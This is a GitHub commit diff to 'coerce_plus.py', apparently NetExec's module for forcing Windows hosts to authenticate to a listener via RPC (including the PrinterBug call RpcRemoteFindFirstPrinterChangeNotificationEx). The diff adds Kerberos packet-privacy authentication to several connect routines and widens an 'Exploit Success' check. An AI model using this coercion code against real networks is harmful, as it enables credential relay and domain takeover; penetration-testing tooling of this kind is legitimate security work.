Skip to content

Commit 6afb8bb

Browse files
committed
Adding rpc auth level
1 parent 7bb04c9 commit 6afb8bb

1 file changed

Lines changed: 17 additions & 2 deletions

File tree

nxc/modules/coerce_plus.py

Lines changed: 17 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
from impacket.dcerpc.v5 import transport, rprn, even
22
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
33
from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
4+
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
45

56
from impacket.uuid import uuidtup_to_bin
67

@@ -236,6 +237,9 @@ def connect(self, username, password, domain, lmhash, nthash, aesKey, target, do
236237

237238
rpctransport.setRemoteHost(target)
238239
dce = rpctransport.get_dce_rpc()
240+
if doKerberos:
241+
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
242+
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
239243
self.context.log.debug("Connecting to {}".format(binding_params[pipe]["stringBinding"]))
240244
try:
241245
dce.connect()
@@ -347,10 +351,12 @@ def connect(self, username, password, domain, lmhash, nthash, aesKey, target, do
347351

348352
if doKerberos:
349353
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
350-
# if target:
351354

352355
rpctransport.setRemoteHost(target)
353356
dce = rpctransport.get_dce_rpc()
357+
if doKerberos:
358+
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
359+
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
354360
self.context.log.debug("Connecting to {}".format(binding_params[pipe]["stringBinding"]))
355361
try:
356362
dce.connect()
@@ -577,6 +583,9 @@ def connect(self, username, password, domain, lmhash, nthash, aesKey, target, do
577583

578584
rpctransport.setRemoteHost(target)
579585
dce = rpctransport.get_dce_rpc()
586+
if doKerberos:
587+
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
588+
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
580589
self.context.log.debug("Connecting to {}".format(binding_params[pipe]["stringBinding"]))
581590
try:
582591
dce.connect()
@@ -809,6 +818,9 @@ def connect(self, username, password, domain, lmhash, nthash, aesKey, target, do
809818

810819
rpctransport.setRemoteHost(target)
811820
dce = rpctransport.get_dce_rpc()
821+
if doKerberos:
822+
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
823+
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
812824
self.context.log.debug("Connecting to {}".format(binding_params[pipe]["stringBinding"]))
813825
try:
814826
dce.connect()
@@ -849,7 +861,7 @@ def exploit(self, dce, listener, target, always_continue, pipe):
849861
request["dwPrinterLocal"] = 0
850862
dce.request(request)
851863
except Exception as e:
852-
if str(e).find("rpc_s_access_denied") >= 0:
864+
if str(e).find("rpc_s_access_denied") >= 0 or str(e).find("RPC_S_SERVER_UNAVAILABLE") >= 0:
853865
self.context.log.debug("RpcRemoteFindFirstPrinterChangeNotificationEx Success")
854866
self.context.log.highlight(f"Exploit Success, {pipe}\\RpcRemoteFindFirstPrinterChangeNotificationEx")
855867
if not always_continue:
@@ -920,6 +932,9 @@ def connect(self, username, password, domain, lmhash, nthash, aesKey, target, do
920932

921933
rpctransport.setRemoteHost(target)
922934
dce = rpctransport.get_dce_rpc()
935+
if doKerberos:
936+
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
937+
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
923938
self.context.log.debug("Connecting to {}".format(binding_params[pipe]["stringBinding"]))
924939
try:
925940
dce.connect()

0 commit comments

Comments
 (0)